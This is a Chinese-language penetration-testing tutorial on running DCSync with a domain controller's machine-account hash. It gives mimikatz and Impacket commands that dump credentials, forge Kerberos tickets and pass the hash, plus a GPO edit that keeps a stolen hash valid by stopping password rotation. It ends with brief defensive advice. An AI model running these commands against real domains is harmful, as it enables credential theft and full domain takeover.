[[344260]]
0x00 前言
在之前的文章《域滲透——DCSync》提到過DCSync的利用條件:
獲得以下任一用戶的權限:
· Administrators組內的用戶
· Domain Admins組內的用戶
· Enterprise Admins組內的用戶
· 域控制器的計算機帳戶
本文將要補全上篇文章中未提到的最后一種利用方法,介紹如何通過域控制器的計算機帳戶口令hash實現DCSync。
0x01 簡介
本文將要介紹以下內容:
· MachineAccount簡介
· 獲得MachineAccount口令hash的方法
· 使用MachineAccount實現DCSync
· 防御檢測
0x02 MachineAccount簡介
MachineAccount是每臺計算機在安裝系統后默認生成的計算機帳戶。
計算機帳戶的密碼存儲在注冊表的位置:HKLM\SECURITY\Policy\Secrets\$machine.ACC。
如果計算機加入域中,會將計算機帳戶的密碼同步到域控制器并保存在域控制器的NTDS.dit文件中。
計算機帳戶的密碼默認每30天自動更新,密碼長度為120個字符,所以說,即使獲得了計算機帳戶密碼的hash,也很難還原出計算機帳戶的明文口令。
關閉當前計算機帳戶密碼自動更新的兩種方法(適用于工作組):
1.修改組策略
組策略位置:
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
如下圖:

默認未啟用,如果設置為啟用后,將會停止更新密碼。
參考資料:
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc785826(v=ws.10)
2.直接修改注冊表
注冊表位置:HKLM\System\CurrentControlSet\Services\Netlogon\Parameters\
將DisablePasswordChange的值設為1。
關閉域內計算機帳戶密碼自動更新的兩種方法(適用于域網絡):
1.修改組策略
這里需要修改域組策略,在域控制器上打開Group Policy Management后,選擇Default Domain Policy。
如下圖:

組策略位置:
Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\
2.修改組策略的配置文件
Default Domain Policy對應的guid為31B2F340-016D-11D2-945F-00C04FB984F9
配置文件路徑為:

例如我的測試環境下,路徑對應為:
\\test.com\SYSVOL\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
修改文件GptTmpl.inf,在[Registry Values]下添加新的內容:
MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange=4,1
如下圖:

強制域控制器更新組策略,命令如下:
gpupdate /force
配置完成,將系統時間調快30天,hash保持不變。
0x03 獲得MachineAccount口令hash的方法
1.通過注冊表文件導出當前計算機帳戶的口令hash
mimikatz命令示例:
privilege::debug
token::elevate
lsadump::secrets
返回的結果中,$machine.ACC項對應計算機帳戶,如下圖:

其他從注冊表導出的方法可參考之前的文章《滲透技巧——通過SAM數據庫獲得本地用戶hash》
2.使用DCSync導出所有計算機帳戶的口令hash
(1)使用mimikatz
在域控制器上使用mimikatz導出域內所有用戶的hash,命令示例:
mimikatz.exe "lsadump::dcsync /domain:test.com /all /csv" exit
其中以$字符結尾的為計算機帳戶。
其他環境下的使用方法可參考之前的文章《域滲透——DCSync》。
(2)使用secretsdump.py
需要安裝Python環境和Impacket包,實際使用時可以將Python代碼編譯成exe文件。
命令示例:
python secretsdump.py test/Administrator:DomainAdmin123!@192.168.1.1
secretsdump.py相比于mimikatz,最大的優點是支持從域外的計算機連接至域控制器。
secretsdump.py的實現原理:
使用計算機帳戶口令hash通過smbexec或者wmiexec遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的hash,同時通過Dcsync或從NTDS.dit文件中導出所有域用戶的hash。
3.通過漏洞CVE-2020-1472
參考資料:
https://www.secura.com/pathtoimg.php?id=2055
CVE-2020-1472能夠在未授權的狀態下遠程修改目標計算機帳戶的口令hash。
注:
CVE-2020-1472只能修改域控制器NTDS.dit文件中保存的計算機帳戶hash,無法修改注冊表中保存的本地計算機帳戶hash。
當域控制器中NTDS.dit文件和注冊表文件的計算機帳戶口令hash不同步時,有可能影響系統的正常功能。
0x04 使用MachineAccount實現DCSync
例如,我們獲得了域控制器DC1的計算機帳戶口令hash為7da530fba3b15a2ea21ce7db8110d57b。
1.使用mimikatz
這里需要制作白銀票據(Silver Ticket),接著獲得LDAP服務的訪問權限,細節可參考之前的文章《域滲透——Pass The Ticket》。
命令示例:
mimikatz "kerberos::golden /domain:test.com /sid:S-1-5-21-254706111-4049838133-2416586677 /target:DC1.test.com /service:LDAP /rc4:7da530fba3b15a2ea21ce7db8110d57b /user:krbtgt /ptt" "lsadump::dcsync /domain:test.com /all /csv" exit
在細節上需要注意以下方面:
· 只能在域內計算機上運行,不支持域外
· /sid表示域的sid,獲取方法可參考之前的文章《滲透基礎——活動目錄信息的獲取》
· /rc4表示計算機帳戶的NTLM hash
· /user:krbtgt表示偽造成用戶krbtgt,生成票據
注:域sid的簡單獲取方法。
任一域用戶的sid去除最后一位就是域的sid。
2.使用secretsdump
命令示例:
python secretsdump.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1
在細節上需要注意以下方面:
· secretsdump支持從域外的計算機連接至域控制器
· 如果使用域內普通計算機帳戶的口令hash連接對應的計算機,那么會失敗,提示rpc_s_access_denied
· 可以通過wmiexec.py或smbexec.py遠程執行cmd命令
命令示例:
python smbexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes :7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
注:
使用計算機帳戶具有高權限,如下圖:

0x05 防御檢測
檢測DCSync后門的方法可參考《域滲透——DCSync》
站在防御的角度,如果域管理員的權限被攻擊者獲得,在嘗試踢出攻擊者的過程中,不僅需要修改域管理員用戶的口令,同樣需要更新計算器帳戶的口令hash,檢測域組策略是否被配置成開啟DisablePasswordChange
0x06 小結
本文介紹了通過域控制器的計算機帳戶口令hash實現DCSync的方法,分析利用思路,給出防御建議。
【編輯推薦】